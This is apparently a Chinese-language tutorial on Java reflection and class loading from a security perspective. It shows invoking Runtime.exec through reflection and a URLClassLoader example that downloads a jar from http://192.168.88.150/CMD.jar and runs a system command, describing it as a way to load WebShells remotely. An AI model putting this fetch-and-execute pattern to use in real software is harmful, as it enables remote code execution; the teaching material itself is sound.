- Java 反射機制
- 反射 java.lang.Runtime
- ClassLoader 類載入機制
- URLClassLoader
- loadClass() 與 Class.forName() 的區別?
Java 反射機制
Java 反射(Reflection)是 Java 非常重要的動態特性。在執行狀態中,透過 Java 的反射機制,我們能夠判斷一個物件所屬的類。瞭解任意一個類的所有屬性和方法。能夠呼叫任意一個物件的任意方法和屬性。
Java 反射機制可以無視類方法、變數的訪問許可權修飾符,並且可以呼叫類的任意方法、訪問並修改成員變數值。
對於一般的程式設計師來說反射的意義不大,對於框架開發者來說,反射作用就非常大了,反射是各種容器、框架實現的核心技術。
獲取 Class 物件
Java 反射操作的是 java.lang.Class 物件,所以我們需要先想辦法獲取到 Class 物件。
- 類字面常量來獲取
Class<?> name = MyClass.class;
- 透過物件獲取 getClass() 方法
MyClass obj = new MyClass();
Class<?> name = obj.getClass();
- 透過全限定名獲取 Class.forName() 方法
Class<?> name = Class.forName("java.lang.Runtime");
- 使用 getSystemClassLoader().loadClass() 方法
Class<?> name = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");
獲取類成員變數
- getDeclaredFields 方法
獲得類的成員變數陣列,包括 public、private 和 proteced,但是不包括父類的宣告欄位。
Field[] fields = classname.getDeclaredFields();
- getDeclaredField 方法
該方法與 getDeclaredFields 的區別是隻能獲得類的單個成員變數。
Field field = classname.getDeclaredField("變數名");
- getFields 方法
getFields 能夠獲得某個類的所有的 public 欄位,包括父類中的欄位。
Field[] fields = classname.getFields();
- getField 方法
與 getFields 類似,getField 方法能夠獲得某個類特定的 public 欄位,包括父類中的欄位。
Field field = classname.getField(("變數名");
獲取類方法
- getDeclaredMethods 方法
返回類或介面宣告的所有方法,包括 public、protected、private 和預設方法,但不包括繼承的方法。
Method[] methods = classname.getDeclaredMethods()
- getDeclaredMethod 方法
只能返回一個特定的方法,該方法的第一個引數為方法名,第二個引數名是方法引數。
Method methods = classname.getDeclaredMethods("方法名")
- getMethods 方法
返回某個類的所有 public 方法,包括其繼承類的 public 方法。
Method[] methods = classname.getMethods();
- getMethod 方法
只能返回一個特定的方法,該方法的第一個引數為方法名稱,後面的引數為方法的引數對應 Class 的物件。
Method method = clazz.getMethod("方法名");
反射 java.lang.Runtime
java.lang.Runtime 有一個 exec 方法,可以反射呼叫 Runtime 類來執行本地系統命令。
不使用反射執行本地命令:
import java.io.IOException;
public class Exec {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
反射 Runtime 執行本地命令:
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class ReflectionExec {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException,
InvocationTargetException, IllegalAccessException {
// 獲取 Runtime 類
Class<?> clazz = Class.forName("java.lang.Runtime");
// 獲取 Runtime 類的 getRuntime() 方法
Method getRuntimeMethod = clazz.getMethod("getRuntime");
// 呼叫 getRuntime() 方法,獲取 Runtime 物件
Object runtimeObject = getRuntimeMethod.invoke(null);
// 獲取 exec(String command) 方法
Method execMethod = clazz.getMethod("exec", String.class);
// 執行系統命令
execMethod.invoke(runtimeObject, "clac");
}
}
間接的呼叫 Runtime 的 exec 方法執行本地系統命令。
反射機制的功能很強大,不安全的反射可能會帶來致命的漏洞。
ClassLoader 類載入機制
Java 是編譯型語言,編寫的 java 檔案需要編譯成後 class 檔案後才能夠被 JVM 執行。類載入器 ClassLoader 負責載入類檔案,生成對應的 Class 物件。
JVM 提供的三種類載入器
- Bootstrap ClassLoader(啟動類載入器)
負責載入 Java 的核心類,比如 java.lang.Object 等。它是由 C++ 實現的,並且不是 Java 類。
- Extension ClassLoader(擴充套件類載入器)
負責載入 Java 的擴充套件類,位於 <JAVA_HOME>/lib/ext 目錄下的JAR包或類。
- System ClassLoader(系統類載入器)
也稱為應用類載入器,負責載入應用程式的類,通常從 classpath 中載入類。
值得注意的是,Bootstrap ClassLoader 它是 JVM 自身的一部分,並不是 ClassLoader 的子類,無法直接獲取對其的引用。所以嘗試獲取被 Bootstrap ClassLoader 類載入器所載入的類的 ClassLoader 時候都會返回 null。
除了這三種,還可以自定義類載入器。
ClassLoader 類中和載入類相關的方法
-
getParent() 返回該類載入器的父類載入器
-
loadClass() 載入指定的類
-
findClass() 查詢指定的類
-
findLoadedClass() 查詢已經被載入過的類
-
defineClass() 定義一個類
-
resolveClass() 連結指定的Java類
ClassLoader類載入流程
- 檢查是否已經載入過類
在載入類之前,會首先使用 findLoadedClass() 方法判斷該類是否已經被載入,如果已經載入過,則直接返回對應的 Class 物件。
- 委託給父類載入器
如果未被載入,則優先使用載入器的父類載入器進行載入,如果載入成功,則返回對應的 Class 物件。
- 自行嘗試載入類
如果父類載入器無法載入該類,或者父類載入器為空,則會呼叫自身的 findClass() 方法嘗試自行載入該類。
- 連結和初始化
在成功載入類之後,類載入器會對其進行連結和初始化操作。
- 返回 Class 物件
返回一個被 JVM 載入後的 java.lang.Class 類物件。
ClassLoader 的 loadClass 方法核心邏輯程式碼:
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
}
if (c == null) {
c = findClass(name);
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
自定義的類載入器
透過重寫 findClass() 方法,利用 defineClass() 方法來將位元組碼轉換成 java.lang.class 類物件,可以實現自定義的類載入器。
URLClassLoader
URLClassLoader 類是 ClassLoader 的一個實現,擁有從遠端伺服器上載入類的能力。
透過 URLClassLoader 可以實現遠端的類方法呼叫,可以實現對一些 WebShell 的遠端載入。
例如:透過 URLClassLoader 來載入一個遠端的 jar 包執行本地命令
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;
public class TestURLClassLoader {
public static void main(String[] args) throws IOException,
ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
IllegalAccessException {
// 定義遠端載入的jar的URL路徑
URL url = new URL("http://192.168.88.150/CMD.jar");
// 建立URLClassLoader物件,並載入遠端jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 透過URLClassLoader載入遠端jar包中的CMD類
Class<?> cmdClass = ucl.loadClass("CMD");
String cmd = "ls";
// 呼叫CMD類中的exec方法
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 獲取命令執行結果的輸入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 讀取命令執行結果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 輸出命令執行結果
System.out.println(baos.toString());
}
}
其中遠端的 CMD.jar 中就一個 CMD.class 檔案,對應的 CMD.java 如下:
import java.io.IOException;
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
成功呼叫 CMD 類中的 exec 方法,執行了 ls 命令。
loadClass() 與 Class.forName() 的區別?
loadClass() 方法和 Class.forName() 方法都可以用於在執行時載入類。
主要區別:
-
loadClass() 方法是 ClassLoader 類的一個方法,透過指定的類載入器載入類,它在載入類時不會自動執行類的靜態初始化程式碼。
-
Class.forName() 方法是 java.lang.Class 類的一個靜態方法,它在載入類時會自動執行類的靜態初始化程式碼。
若有錯誤,歡迎指正!o( ̄▽ ̄)ブ